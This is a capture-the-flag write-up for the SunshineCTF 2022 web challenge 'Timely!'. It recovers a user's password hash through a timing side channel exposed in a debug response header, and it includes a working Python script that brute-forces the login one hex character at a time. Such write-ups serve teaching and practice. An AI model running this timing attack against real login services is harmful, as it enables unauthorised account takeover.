# Timely!### 100 points
> I've been on a real City Pop binge and thought I would share one of my favorite albums.> * Comments added in Discord > > For Timely! No off the shelf tools such as SqlMap should be necessary. If possible please refrain from using these tools as they cause unneeded load on the web server ? As I realize the above might be confusing. It does require smart bruteforcing, however it does not require the use of SqlMap or dumb bruteforcing tools.> https://timely.web.2022.sunshinectf.org/ 
By visiting the website, we're preseted with just a link for a login page and the full Timely!! album from Anri.
![homepage](https://i.imgur.com/u620YYp.png)
![login](https://i.imgur.com/3LRZDSt.png)
The login page has a simple form; besides it does not seem to be vulnerable to the usual SQLi.
While trying random redentials it shows this error message:
![standard_error](https://i.imgur.com/WWp4HXN.png)
Visiting `robots.txt`, we see that we have a page `/dev`.
Here there are listed two endpoints: `dev/hostname` which always returns `502` and `dev/users`which contains a list of users:```ahrifan111 (Disabled)anri (Active)admin (Disabled)develop (Disabled)```
Trying these users on the login form, we can notice that the error message is different with the active user `anri`
![anri_error](https://i.imgur.com/oAnADEw.png)
Now, let's see if there's something else in the request. Opening the request details, we can find a strange header `debug-lag-fix`
![header](https://i.imgur.com/fNZc1lq.png)
Fiddling with Burp, we can notice that this only appears for requests with 40 chars (exactly the length of the SHA1 hash).
Given the name of the challenge, we can guess that this time is a valid suggestion that we're closer to the solution. So I've decided to tackle it like a blind sql challenge: use this timing to decide character by character what is the password of the user.
After way too many attemps, here's the code I've used:```pyimport requestsfrom urllib3 import disable_warningsdisable_warnings()
password = ""while(len(password) < 40): #Length of the SHA1 hash    longest = -99    valid = ''    for c in "0123456789abcdef": #charset of the hex digest        try:            cur_pass = password + c            cur_pass += "0" * (40 - len(cur_pass)) #pad the rest of the hash with zeroes            url = "https://timely.web.2022.sunshinectf.org:443/login"            body={"password": cur_pass, "username": "anri"}            r = requests.post(url, json=body, verify=False)            print(c, r.headers['Debug-Lag-Fix']) # Debug print            time_ms = int(r.headers['Debug-Lag-Fix'][:-2]) # Convert the header value in int        except KeyError as e: # If the header is missing, the password is valid or the request failed            print(f"Missing header, status code {r.status_code}")            if r.status_code == 200: #Is a valid request, the password is complete!!                longest = 999                print(r.content, cur_pass)                break        if(longest < time_ms):            longest = time_ms            valid = c    password = password + valid    print(f"Using {valid} with {longest}ms, now proceeding with {password}")```
And with that, you'll get the flag:```...9 3918nsMissing header, status code 200b'Congrats! SUN{ci+ypopi56e5+pop2022}'Using 9 with 999ms, now proceeding with f14586d91fbab8cbd70d3946495a0213066a2269```